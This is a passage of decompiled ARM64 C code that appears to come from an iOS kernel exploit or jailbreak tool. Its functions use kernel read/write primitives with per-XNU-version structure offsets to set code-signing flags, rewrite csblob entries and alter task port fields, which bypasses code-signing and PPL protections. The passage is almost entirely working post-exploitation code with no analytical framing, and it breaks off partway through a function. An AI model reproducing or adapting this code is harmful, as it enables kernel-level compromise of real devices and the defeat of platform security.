  {
LABEL_37:
    v27 = 0;
    goto LABEL_19;
  }
  v26 = strlen(a3);
  v27 = cfplist_from_bytes((UInt8 *)a3, v26);
  if ( v27 )
  {
    if ( cfdict_compare_or_merge(MutableCopy, v27, a6) && v35 == v34(v36, MutableCopy, &theData) )
    {
      Length = CFDataGetLength(theData);
      v29 = malloc(Length);
      if ( v29 )
      {
        v30 = v29;
        BytePtr = CFDataGetBytePtr(theData);
        memcpy(v30, BytePtr, Length);
        *a4 = v30;
        *a5 = Length;
        v32 = 1;
        goto LABEL_20;
      }
    }
  }
LABEL_19:
  v32 = 0;
LABEL_20:
  if ( theData )
    CFRelease(theData);
  if ( v27 )
    CFRelease(v27);
  if ( MutableCopy )
    CFRelease(MutableCopy);
  if ( theDict )
    CFRelease(theDict);
  if ( v37 )
    v23(&v37);
  if ( v24 )
    CFRelease(v24);
  if ( v13 )
    dlclose(v13);
  return v32;
}

//----- (000000000002D2B4) ----------------------------------------------------
__int64 __fastcall kread_task_slot_and_necp_set(struct_krwCtx *a1, __int64 a2, unsigned int a3, bool *a4)
{
  unsigned __int64 xnuVersionPacked; // x8
  __int64 v8; // x11
  __int64 v9; // x13
  __int64 v10; // x8
  __int64 result; // x0
  unsigned __int64 v12; // [xsp+8h] [xbp-28h] BYREF

  xnuVersionPacked = a1->xnuVersionPacked;
  v8 = 168;
  v9 = 144;
  if ( xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
    v9 = 152;
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    v8 = v9;
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    v10 = v8;
  else
    v10 = 160;
  result = kread_physmap_decorated(a1, *(uint64_t *)(a2 + 8) + v10, &v12);
  if ( (uint32_t)result )
  {
    result = necp_set_opt_string_6((__int64)a1, a3);
    if ( (uint32_t)result )
    {
      *a4 = v12 == a1->gap191[4];
      return 1;
    }
  }
  return result;
}

//----- (000000000002D374) ----------------------------------------------------
uint32_t *__fastcall csblob_set_entry_data(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5)
{
  uint32_t *result; // x0
  uint32_t *v9; // x20
  uint32_t *v10; // x23
  uint32_t *v11; // x0

  result = (uint32_t *)csblob_find_slot_by_pair(a1, a2, a3);
  if ( result )
  {
    v9 = result;
    result = malloc(a5 + 8LL);
    if ( result )
    {
      v10 = result;
      *result = bswap32(a3);
      result[1] = bswap32(a5 + 8);
      memcpy(result + 2, a4, a5);
      v11 = (uint32_t *)*((uint64_t *)v9 + 1);
      *((uint64_t *)v9 + 1) = v10;
      csblob_bzero_and_free(v11);
      return &def_3E8F0 + 1;
    }
  }
  return result;
}
// 0: using guessed type int def_3E8F0;

//----- (000000000002D3F8) ----------------------------------------------------
__int64 __fastcall csblob_zero_entry_region(__int64 a1, unsigned int a2, int a3)
{
  unsigned int *v5; // x20
  __int64 result; // x0
  size_t v7; // x1
  __int64 v8; // x8
  __int64 v9; // x9
  void *v10; // x21
  size_t v11; // x2
  int v12; // [xsp+4h] [xbp-5Ch] BYREF
  uint8_t __src[48]; // [xsp+8h] [xbp-58h] BYREF

  v5 = csblob_find_entry(a1, a2, a3);
  result = (__int64)csblob_find_entry(a1, *(uint32_t *)(a1 + 64), -86111230);
  if ( result )
  {
    if ( bswap32(*(uint32_t *)(result + 24)) < a2 )
      return 0;
    v7 = *(unsigned int *)(a1 + 72);
    v8 = result + bswap32(*(uint32_t *)(result + 16));
    v9 = (unsigned int)v7 * a2;
    v10 = (void *)(v8 - v9);
    if ( v5 )
    {
      v12 = 48;
      result = compute_sha_hash(*(unsigned __int8 *)(result + 37), v5, bswap32(v5[1]), __src, &v12);
      if ( !(uint32_t)result )
        return result;
      v11 = *(unsigned int *)(a1 + 72);
      if ( (uint32_t)v11 != v12 )
        return 0;
      memcpy(v10, __src, v11);
    }
    else
    {
      bzero((void *)(v8 - v9), v7);
    }
    return 1;
  }
  return result;
}

//----- (000000000002D500) ----------------------------------------------------
bool __fastcall ce_serialize_cfplist(const UInt8 *a1, CFIndex a2, __int64 a3)
{
  void *v6; // x0
  void *v7; // x19
  __int64 *v8; // x0
  __int64 v9; // x26
  __int64 *v10; // x0
  __int64 v11; // x23
  __int64 (__fastcall *v12)(__int64, CFPropertyListRef, __int64); // x0
  __int64 (__fastcall *v13)(__int64, CFPropertyListRef, __int64); // x24
  const struct __CFData *v14; // x0
  const struct __CFData *v15; // x21
  CFPropertyListRef v16; // x0
  const void *v17; // x22
  uint64_t v18; // x20

  v6 = dlopen("/usr/lib/libCoreEntitlements.dylib", 1);
  if ( v6 )
  {
    v7 = v6;
    v8 = (__int64 *)dlsym(v6, "kCENoError");
    if ( v8 )
    {
      v9 = *v8;
      v10 = (__int64 *)dlsym(v7, "CECRuntime");
      if ( v10 )
      {
        v11 = *v10;
        v12 = (__int64 (__fastcall *)(__int64, CFPropertyListRef, __int64))dlsym(v7, "CESerializeCFDictionary");
        if ( v12 )
        {
          v13 = v12;
          if ( dlsym(v7, "CEGetErrorString") )
          {
            v14 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, a1, a2, kCFAllocatorNull);
            if ( v14 )
            {
              v15 = v14;
              v16 = CFPropertyListCreateWithData(kCFAllocatorDefault, v14, 0, 0, 0);
              if ( v16 )
              {
                v17 = v16;
                v18 = v9 == v13(v11, v16, a3);
                CFRelease(v15);
                CFRelease(v17);
LABEL_12:
                dlclose(v7);
                return v18;
              }
              CFRelease(v15);
            }
          }
        }
      }
    }
    v18 = 0;
    goto LABEL_12;
  }
  return 0;
}

//----- (000000000002D64C) ----------------------------------------------------
uint32_t *__fastcall csblob_alloc_and_insert_entry(__int64 a1, int a2, unsigned int a3, const void *a4, unsigned int a5)
{
  size_t v9; // x24
  unsigned int v10; // w25
  uint32_t *result; // x0
  uint32_t *v12; // x22

  if ( (*(uint8_t *)a1 & 1) != 0 && *(uint32_t *)(a1 + 48) == 1 )
  {
    v9 = a5;
    v10 = a5 + 8;
    result = malloc(a5 + 8LL);
    if ( !result )
      return result;
    v12 = result;
    *result = bswap32(a3);
    result[1] = bswap32(v10);
    memcpy(result + 2, a4, v9);
    if ( (unsigned int)csblob_realloc_array(*(unsigned int **)(a1 + 56), a2, (__int64)v12) != -1 )
      return &def_3E8F0 + 1;
    csblob_bzero_and_free(v12);
  }
  return 0;
}
// 0: using guessed type int def_3E8F0;

//----- (000000000002D700) ----------------------------------------------------
unsigned int *__fastcall csblob_repack_entries(__int64 a1, unsigned int a2)
{
  unsigned int *result; // x0
  unsigned int *v5; // x21
  unsigned int v6; // w25
  int v7; // w26
  int v8; // w24
  size_t v9; // x23
  unsigned int *v10; // x20
  __int64 v11; // x23
  size_t v12; // x2
  __int64 v13; // x8
  unsigned int v14; // w8
  unsigned int v15; // w9
  __int64 v16; // x19

  result = csblob_find_entry(a1, *(uint32_t *)(a1 + 64), -86111230);
  if ( result )
  {
    v5 = result;
    v6 = bswap32(result[6]);
    if ( v6 >= a2 )
    {
      return (unsigned int *)(&def_3E8F0 + 1);
    }
    else
    {
      v7 = *(uint32_t *)(a1 + 72);
      v8 = v7 * (a2 - v6);
      v9 = bswap32(result[1]) + v8;
      result = (unsigned int *)malloc(v9);
      if ( result )
      {
        v10 = result;
        bzero(result, v9);
        v11 = v7 * v6;
        memcpy(v10, v5, bswap32(v5[4]) - (unsigned int)v11);
        v12 = bswap32(v5[1]) + (uint32_t)v11 - bswap32(v5[4]);
        v13 = bswap32(v10[4]) + v8;
        v10[4] = bswap32(v13);
        v10[1] = bswap32(bswap32(v10[1]) + v8);
        v10[6] = bswap32(a2);
        memcpy((char *)v10 + v13 - v11, (char *)v5 + bswap32(v5[4]) - v11, v12);
        v14 = bswap32(v5[4]);
        if ( bswap32(v5[5]) > v14 )
          v10[5] = bswap32(bswap32(v10[5]) + v8);
        v15 = bswap32(v5[2]);
        if ( v15 >> 8 >= 0x201 )
        {
          if ( bswap32(v5[11]) > v14 )
            v10[11] = bswap32(bswap32(v10[11]) + v8);
          if ( v15 > 0x201FF )
          {
            if ( bswap32(v5[12]) > v14 )
              v10[12] = bswap32(bswap32(v10[12]) + v8);
            if ( v15 > 0x204FF )
            {
              if ( bswap32(v5[23]) > v14 )
                v10[23] = bswap32(bswap32(v10[23]) + v8);
              if ( v15 > 0x205FF && bswap32(v5[25]) > v14 )
                v10[25] = bswap32(bswap32(v10[25]) + v8);
            }
          }
        }
        v16 = csblob_replace_entry(a1, *(uint32_t *)(a1 + 64), v10);
        free(v10);
        return (unsigned int *)v16;
      }
    }
  }
  return result;
}
// 0: using guessed type int def_3E8F0;

//----- (000000000002D934) ----------------------------------------------------
__int64 __fastcall validate_physmap_range_6(struct_krwCtx *a1, unsigned int a2)
{
  __int64 result; // x0
  __int64 v5; // x20
  __int64 v6; // x1
  __int64 v7; // x0
  int v8; // w8
  struct_krwCtx *v9; // x0
  int v10; // w1
  int has_flag; // w0
  bool v12; // zf
  __int64 v13; // x22
  __int64 v14; // x23
  __int64 v15; // x8
  __int64 v16; // x9
  int xnuMajorVersion; // w8
  __int64 v18; // x8
  int v19; // w0
  unsigned __int64 xnuVersionPacked; // x9
  int v21; // w0
  __int64 v22; // x8
  __int64 v23; // x9
  int v24; // w0
  __int64 v25; // x21
  int v26; // w8
  char v27; // [xsp+Fh] [xbp-31h] BYREF

  v27 = 0;
  if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11_A12_A13_A14_A15_A16_A17_MASK) )
    return 1;
  result = task_struct_field_kread(a1, a2);
  if ( !result )
    return result;
  v5 = result;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
  {
    v6 = v5 + 146;
LABEL_5:
    v7 = (__int64)a1;
    goto LABEL_6;
  }
  if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
  {
    result = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A11);
    if ( !(uint32_t)result )
      return result;
    xnuMajorVersion = a1->xnuMajorVersion;
    if ( xnuMajorVersion >= 6153 )
    {
      if ( xnuMajorVersion <= 8791 )
      {
        if ( xnuMajorVersion <= 8018 )
        {
          if ( xnuMajorVersion <= 7194 )
          {
            v18 = 239;
            if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
              v18 = 231;
          }
          else
          {
            v18 = 223;
          }
        }
        else
        {
          v18 = 151;
        }
      }
      else
      {
        v18 = 143;
      }
      v6 = v18 + v5;
      goto LABEL_5;
    }
    return 1;
  }
  v8 = a1->xnuMajorVersion;
  if ( v8 >= 10002 )
  {
    v9 = a1;
    v10 = 18350080;
LABEL_13:
    has_flag = krw_ctx_has_flag(v9, v10);
    v12 = !has_flag;
    if ( has_flag )
      v13 = 201;
    else
      v13 = 193;
    if ( has_flag )
      v14 = 202;
    else
      v14 = 194;
    v15 = 199;
    v16 = 191;
LABEL_50:
    if ( v12 )
      v15 = v16;
    goto LABEL_52;
  }
  if ( v8 >= 8792 )
  {
    v19 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_A15_A16_MASK);
    v12 = !v19;
    if ( v19 )
      v13 = 193;
    else
      v13 = 185;
    if ( v19 )
      v14 = 194;
    else
      v14 = 186;
    v15 = 191;
    v16 = 183;
    goto LABEL_50;
  }
  if ( v8 >= 8019 )
  {
    v9 = a1;
    v10 = 1572864;
    goto LABEL_13;
  }
  xnuVersionPacked = a1->xnuVersionPacked;
  if ( xnuVersionPacked >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) )
  {
    v21 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14);
    v12 = !v21;
    if ( v21 )
      v13 = 265;
    else
      v13 = 257;
    v22 = 266;
    v23 = 258;
LABEL_46:
    if ( v12 )
      v14 = v23;
    else
      v14 = v22;
    v15 = 263;
    v16 = 255;
    goto LABEL_50;
  }
  if ( v8 >= 7195 )
  {
    v24 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14);
    v12 = !v24;
    if ( v24 )
      v13 = 264;
    else
      v13 = 256;
    v22 = 265;
    v23 = 257;
    goto LABEL_46;
  }
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
    v13 = 272;
  else
    v13 = 264;
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
    v14 = 273;
  else
    v14 = 265;
  v15 = 271;
  if ( xnuVersionPacked > XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
    v15 = 263;
LABEL_52:
  v25 = v15 + v5;
  v26 = krw_read_thunk(a1, v15 + v5, 1, &v27);
  result = 0;
  if ( !v26 )
    return result;
  if ( !v27 )
    return result;
  result = krw_read_thunk(a1, v13 + v5, 1, &v27);
  if ( !(uint32_t)result )
    return result;
  if ( !v27 )
    return 1;
  result = krw_read_thunk(a1, v14 + v5, 1, &v27);
  if ( (uint32_t)result )
  {
    if ( !v27 )
      return 0;
    v7 = (__int64)a1;
    v6 = v25;
LABEL_6:
    result = krw_read_thunk((struct_krwCtx *)v7, v6, 1, &v27);
    if ( !(uint32_t)result )
      return result;
    return v27 != 0;
  }
  return result;
}

//----- (000000000002DC40) ----------------------------------------------------
__int64 __fastcall physmap_pgtable_check_and_append(struct_krwCtx *a1, unsigned int a2)
{
  __int64 result; // x0
  __int64 v5; // x20
  int v6; // w8
  int xnuMajorVersion; // w8
  struct_krwCtx *v8; // x0
  int v9; // w1
  int has_flag; // w0
  bool v11; // zf
  __int64 v12; // x8
  __int64 v13; // x9
  __int64 v14; // x10
  int v15; // w0
  __int64 v16; // x21
  unsigned __int64 xnuVersionPacked; // x9
  int v18; // w0
  int v19; // w0
  unsigned __int8 v20; // [xsp+Fh] [xbp-31h] BYREF
  __int64 v21; // [xsp+10h] [xbp-30h] BYREF
  unsigned __int8 v22; // [xsp+1Fh] [xbp-21h] BYREF

  v22 = 0;
  if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
    return 1;
  result = task_struct_field_kread(a1, a2);
  if ( !result )
    return result;
  v5 = result;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) )
  {
    result = kread_physmap_decorated(a1, v5 + 176, (unsigned __int64 *)&v21);
    if ( (uint32_t)result )
    {
      result = validate_kaddr_range((__int64)a1, v21);
      if ( result )
      {
        result = krw_read_thunk(a1, v21 + 32, 1, &v20);
        if ( (uint32_t)result )
        {
          v6 = v20;
          return v6 != 0;
        }
      }
    }
    return result;
  }
  xnuMajorVersion = a1->xnuMajorVersion;
  if ( xnuMajorVersion >= 10002 )
  {
    v8 = a1;
    v9 = 18350080;
LABEL_10:
    has_flag = krw_ctx_has_flag(v8, v9);
    v11 = !has_flag;
    v12 = 201;
    if ( !has_flag )
      v12 = 193;
    v13 = 202;
    v14 = 194;
LABEL_17:
    if ( v11 )
      v16 = v14;
    else
      v16 = v13;
    goto LABEL_20;
  }
  if ( xnuMajorVersion >= 8792 )
  {
    v15 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_A15_A16_MASK);
    v11 = !v15;
    v12 = 193;
    if ( !v15 )
      v12 = 185;
    v13 = 194;
    v14 = 186;
    goto LABEL_17;
  }
  if ( xnuMajorVersion >= 8019 )
  {
    v8 = a1;
    v9 = 1572864;
    goto LABEL_10;
  }
  xnuVersionPacked = a1->xnuVersionPacked;
  if ( xnuVersionPacked >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) )
  {
    v18 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14);
    v11 = !v18;
    v12 = 265;
    if ( !v18 )
      v12 = 257;
    v13 = 266;
    v14 = 258;
    goto LABEL_17;
  }
  if ( xnuMajorVersion >= 7195 )
  {
    v19 = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14);
    v11 = !v19;
    v12 = 264;
    if ( !v19 )
      v12 = 256;
    v13 = 265;
    v14 = 257;
    goto LABEL_17;
  }
  v12 = 272;
  if ( xnuVersionPacked <= XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
  {
    v16 = 273;
  }
  else
  {
    v12 = 264;
    v16 = 265;
  }
LABEL_20:
  result = krw_read_thunk(a1, v12 + v5, 1, &v22);
  if ( !(uint32_t)result )
    return result;
  if ( !v22 )
    return 1;
  result = krw_read_thunk(a1, v16 + v5, 1, &v22);
  if ( (uint32_t)result )
  {
    v6 = v22;
    return v6 != 0;
  }
  return result;
}

//----- (000000000002DE64) ----------------------------------------------------
mach_vm_address_t __fastcall kread_and_set_vm_attr(struct_krwCtx *a1, unsigned int a2)
{
  mach_vm_address_t result; // x0
  mach_vm_address_t v4; // x20
  int v5; // [xsp+Ch] [xbp-14h] BYREF

  result = get_task_csflags_kaddr(a1, a2);
  if ( result )
  {
    v4 = result;
    result = kread_u32((__int64)a1, result, &v5);
    if ( (uint32_t)result )
      return (v5 & 1) != 0 || (unsigned int)ppl_kwrite32(a1, v4, v5 | 1u) != 0;
  }
  return result;
}

//----- (000000000002DED4) ----------------------------------------------------
mach_vm_address_t __fastcall pgtable_kread_vm_attr_loop(struct_krwCtx *a1, unsigned int a2, int a3)
{
  mach_vm_address_t result; // x0
  mach_vm_address_t v7; // x22
  int v8; // w8
  unsigned int v9; // w9
  int v10; // w10
  unsigned __int64 v11; // x21
  unsigned __int64 v12; // x21
  int v13; // w8
  int v14; // w9
  int v15; // w10
  int v16; // w9
  int v17; // w2
  int v18; // [xsp+Ch] [xbp-24h] BYREF

  result = physmap_pgtable_check_and_append(a1, a2);
  if ( (uint32_t)result )
  {
    result = get_task_csflags_kaddr(a1, a2);
    if ( result )
    {
      v7 = result;
      result = kread_u32((__int64)a1, result, &v18);
      if ( (uint32_t)result )
      {
        v8 = v18;
        v9 = v18 & 0xEFFFFCFE;
        v10 = a3 ? 268435457 : 769;
        v18 = v10 | v9;
        if ( (v10 | v9) == v8 || (result = ppl_kwrite32(a1, v7, v10 | v9), (uint32_t)result) )
        {
          result = find_kernel_struct_addr(a1, a2);
          if ( result )
          {
            v11 = result;
            result = get_task_struct_csblob_offset((__int64)a1);
            if ( (uint32_t)result )
            {
              v12 = v11 + (unsigned int)result;
              result = kread_u32((__int64)a1, v12, &v18);
              if ( (uint32_t)result )
              {
                v13 = v18;
                if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 120, 37, 1023, 1023) )
                  v14 = 16;
                else
                  v14 = 32784;
                v15 = v14 | v18;
                v16 = v18 & ~v14;
                if ( a3 )
                  v17 = v16;
                else
                  v17 = v15;
                v18 = v17;
                if ( v17 == v13 )
                  return 1;
                result = noppl_kwrite32((__int64)a1, v12, v17);
                if ( (uint32_t)result )
                  return 1;
              }
            }
          }
        }
      }
    }
  }
  return result;
}

//----- (000000000002E00C) ----------------------------------------------------
mach_vm_address_t __fastcall setup_pgtable_and_patch_csblob(__int64 a1, unsigned int a2)
{
  mach_vm_address_t result; // x0
  mach_vm_address_t v4; // x0
  unsigned __int64 v5; // x8
  mach_vm_address_t v6; // x0
  unsigned __int64 v8; // x8
  __int64 v9; // x8
  unsigned __int64 v11; // x1
  __int64 v12; // x2
  unsigned __int64 *v13; // x8
  unsigned __int64 v14; // x8
  unsigned __int64 v15; // x8
  bool v16; // zf
  __int128 v18[6]; // [xsp+0h] [xbp-1F0h] BYREF
  __int64 v19; // [xsp+60h] [xbp-190h]
  unsigned __int64 v20; // [xsp+68h] [xbp-188h] BYREF
  unsigned int v21; // [xsp+74h] [xbp-17Ch] BYREF
  uint8_t v22[8]; // [xsp+78h] [xbp-178h] BYREF
  __int64 v23; // [xsp+80h] [xbp-170h]
  unsigned __int64 v24; // [xsp+98h] [xbp-158h]
  __int64 v25; // [xsp+A0h] [xbp-150h]
  __int128 v26; // [xsp+E0h] [xbp-110h] BYREF
  __int128 v27[11]; // [xsp+F0h] [xbp-100h] BYREF
  __int64 v28; // [xsp+1A0h] [xbp-50h]

  result = get_task_port_kaddr_wrap(a1, a2, &v21);
  if ( result )
  {
    v4 = result;
    if ( (v21 & 0x400) != 0 || (result = noppl_kwrite32(a1, v4, v21 | 0x400), (uint32_t)result) )
    {
      if ( (v5 = *(uint64_t *)(a1 + 344), v5 <= XNU_VERSION_PACKED(8792, 40, 107, 1023, 1023))
        && (v5 < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) || *(int *)(a1 + 320) > 8791)
        || (result = get_task_port_kaddr_checked((struct_krwCtx *)a1, a2, 1, &v21)) != 0
        && ((v21 & 0x400) != 0 || (result = ppl_kwrite32((struct_krwCtx *)a1, result, v21 | 0x400), (uint32_t)result)) )
      {
        result = csblob_read_and_patch((struct_krwCtx *)a1, a2, (__int64)v22);
        if ( (uint32_t)result )
        {
          result = csblob_set_cs_flags(a1, (__int64)v22);
          if ( (uint32_t)result )
          {
            v8 = *(uint64_t *)(a1 + 344);
            if ( v8 >= XNU_VERSION_PACKED(7195, 100, 326, 0, 0) && ((*(uint32_t *)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v8 >= XNU_VERSION_PACKED(8019, 0, 0, 0, 0)) )
            {
              if ( v24 )
              {
                result = kread_physmap_decorated((struct_krwCtx *)a1, v24, &v20);
                if ( !(uint32_t)result )
                  return result;
                v11 = v20;
                if ( v20 )
                {
                  while ( 1 )
                  {
                    v28 = 0;
                    memset(&v27[1], 0, 160);
                    v12 = *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 48LL : 64LL;
                    v26 = 0u;
                    v27[0] = 0u;
                    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v11, v12, &v26) )
                      break;
                    v13 = *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023)
                        ? (unsigned __int64 *)((char *)v27 + 8)
                        : (unsigned __int64 *)((char *)&v27[1] + 8);
                    v14 = *v13;
                    v16 = v25 == v14;
                    v15 = v14 >> 29;
                    v16 = v16 || v15 == 0;
                    if ( !v16 )
                    {
                      v19 = 0;
                      v18[0] = __PAIR128__(v20, 0);
                      memset(&v18[1], 0, 80);
                      if ( !(unsigned int)csblob_set_cs_flags(a1, (__int64)v18) )
                        break;
                    }
                    result = kread_physmap_decorated((struct_krwCtx *)a1, v20, &v20);
                    if ( !(uint32_t)result )
                      return result;
                    v11 = v20;
                    if ( !v20 )
                      goto LABEL_16;
                  }
                }
              }
              return 0;
            }
LABEL_16:
            csblob_free_entry((__int64)v22);
            result = walk_proc_and_get_csblob_addr((struct_krwCtx *)a1, a2, (unsigned __int64 *)v18);
            if ( (uint32_t)result )
            {
              result = csblob_chain_walk_offsets((struct_krwCtx *)a1, a2, (__int64 *)v18, 0, (__int64)v22);
              if ( (uint32_t)result )
              {
                v9 = 72;
                if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
                  v9 = 88;
                if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v9 + v23, 20, &v26)
                  && physmap_single_check(a1, (__int64)&v26, 20) )
                {
                  result = csblob_set_cs_flags(a1, (__int64)v22);
                  if ( (uint32_t)result )
                  {
                    csblob_free_entry((__int64)v22);
                    return 1;
                  }
                  return result;
                }
                return 0;
              }
            }
          }
        }
      }
    }
  }
  return result;
}

//----- (000000000002E310) ----------------------------------------------------
__int64 __fastcall csblob_set_cs_flags(__int64 a1, __int64 a2)
{
  unsigned __int64 v4; // x8
  __int64 v5; // x22
  __int64 result; // x0
  __int64 v6; // x22
  int v7; // w8
  int v8; // w9
  __int64 v9; // x21
  unsigned __int64 v11; // [xsp+0h] [xbp-30h] BYREF
  int v12; // [xsp+8h] [xbp-28h] BYREF
  int v13; // [xsp+Ch] [xbp-24h] BYREF

  v13 = 1;
  v4 = *(uint64_t *)(a1 + 344);
  if ( v4 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    if ( v4 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    {
      if ( v4 <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
      {
        if ( *(int *)(a1 + 320) <= 7194 )
          v5 = 168;
        else
          v5 = 160;
      }
      else
      {
        v5 = 168;
      }
    }
    else
    {
      v5 = 184;
    }
  }
  else
  {
    v5 = 172;
  }
  result = krw_read_thunk((struct_krwCtx *)a1, *(uint64_t *)(a2 + 8) + v5, 1, &v13);
  if ( (uint32_t)result )
  {
    if ( (v13 & 1) != 0
      || (v13 |= 1u,
          result = kwritebuf_universal((uint64_t *)a1, *(uint64_t *)(a2 + 8) + v5, &v13, 1u),
          (uint32_t)result) )
    {
      v6 = *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 16LL : 32LL;
      result = krw_read_thunk((struct_krwCtx *)a1, v6 + *(uint64_t *)(a2 + 8), 4, &v12);
      if ( (uint32_t)result )
      {
        v7 = v12;
        if ( (~v12 & 0x4004000) != 0 )
        {
          v8 = *(int *)(a1 + 320) <= 7194 ? 67125248 : 0x4000000;
          v12 |= v8;
          if ( (v8 | v7) != v7 )
          {
            result = kwritebuf_universal((uint64_t *)a1, *(uint64_t *)(a2 + 8) + v6, &v12, 4u);
            if ( !(uint32_t)result )
              return result;
            *(uint32_t *)a2 = v12;
          }
        }
        if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
          v9 = 128;
        else
          v9 = 136;
        result = kread_physmap_decorated((struct_krwCtx *)a1, v9 + *(uint64_t *)(a2 + 8), &v11);
        if ( (uint32_t)result )
        {
          if ( !v11 || (result = kwrite64_dispatch((struct_krwCtx *)a1, *(uint64_t *)(a2 + 8) + v9, 0), (uint32_t)result) )
          {
            *(uint32_t *)(a2 + 80) = 0;
            return 1;
          }
        }
      }
    }
  }
  return result;
}

//----- (000000000002E4E0) ----------------------------------------------------
__int64 __fastcall walk_proc_and_get_csblob_addr(struct_krwCtx *a1, unsigned int a2, unsigned __int64 *a3)
{
  __int64 result; // x0
  unsigned __int64 v6; // x21
  unsigned __int64 v7; // x0
  __int64 v8; // x0
  __int64 v9; // x21
  unsigned __int64 v10; // x8
  unsigned __int64 v11; // [xsp+8h] [xbp-38h] BYREF
  unsigned int v12; // [xsp+10h] [xbp-30h] BYREF
  int v13; // [xsp+14h] [xbp-2Ch] BYREF
  unsigned __int64 v14; // [xsp+18h] [xbp-28h] BYREF

  v14 = 0;
  result = task_self_get_ipc_port(a1, a2);
  if ( result )
  {
    v6 = result;
    result = get_task_struct_offset((__int64)a1, result);
    if ( result )
    {
      result = kread_physmap_decorated(a1, result, &v14);
      if ( (uint32_t)result )
      {
        if ( (v14 & 4) != 0 )
        {
          v10 = v14 & 0xFFFFFFFFFFFFF000LL;
          goto LABEL_11;
        }
        v7 = maybe_ipc_port_get_kobject(a1, v6);
        if ( v7 )
        {
          v8 = read_kaddr_at_task_offset(a1, v7);
          if ( v8 )
          {
            v9 = v8;
            if ( (unsigned int)get_csblob_offset_pair((__int64)a1, &v13, (int *)&v12) )
            {
              if ( (unsigned int)krw_read_thunk(a1, v9 + v12, 8, &v11) )
              {
                v10 = v11;
LABEL_11:
                *a3 = v10;
                return 1;
              }
            }
          }
        }
        return 0;
      }
    }
  }
  return result;
}

//----- (000000000002E5C0) ----------------------------------------------------
__int64 __fastcall csblob_chain_walk_offsets(struct_krwCtx *a1, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5)
{
  unsigned __int64 v8; // x0
  unsigned __int64 v9; // x23
  __int64 v10; // x24
  __int64 v11; // x21
  __int64 v12; // x27
  __int64 v13; // x25
  __int64 v14; // x8
  __int64 v15; // x28
  __int64 v16; // x26
  __int64 v17; // x24
  unsigned int *v18; // x0
  unsigned int *v19; // x21
  size_t v20; // x8
  unsigned __int64 v21; // x9
  unsigned __int64 v22; // x10
  size_t v23; // x23
  size_t v24; // x10
  size_t v25; // x10
  unsigned int v26; // w8
  unsigned int v27; // w27
  __int64 v28; // x28
  unsigned int *v29; // x8
  unsigned int *v30; // x22
  unsigned int v31; // w25
  __int64 v32; // x26
  uint32_t *v34; // x0
  uint32_t *v35; // x23
  int v36; // w24
  unsigned __int64 v37; // x26
  uint32_t *v39; // x0
  int v40; // w1
  __int64 v41; // x9
  __int64 v42; // x10
  unsigned int *v43; // x8
  unsigned int *v44; // x0
  unsigned int v45; // w27
  unsigned int **v46; // x11
  int v47; // w15
  unsigned int v48; // w16
  __int64 v49; // x22
  size_t v50; // x23
  char *v51; // x0
  char *v52; // x24
  unsigned int *v53; // x0
  int v54; // [xsp+8h] [xbp-A8h]
  unsigned int *v55; // [xsp+10h] [xbp-A0h]
  __int64 v56; // [xsp+18h] [xbp-98h] BYREF
  unsigned __int64 v57; // [xsp+20h] [xbp-90h] BYREF
  unsigned __int64 v58; // [xsp+28h] [xbp-88h] BYREF
  unsigned __int64 v59; // [xsp+30h] [xbp-80h] BYREF
  unsigned __int64 v60; // [xsp+38h] [xbp-78h] BYREF
  unsigned __int64 v61; // [xsp+40h] [xbp-70h] BYREF
  size_t __size; // [xsp+48h] [xbp-68h] BYREF
  unsigned __int64 v63; // [xsp+50h] [xbp-60h] BYREF
  int v64; // [xsp+5Ch] [xbp-54h] BYREF

  v64 = 0;
  __size = 0;
  v63 = 0;
  v60 = 0;
  v61 = 0;
  v58 = 0;
  v59 = 0;
  v56 = 0;
  v57 = 0;
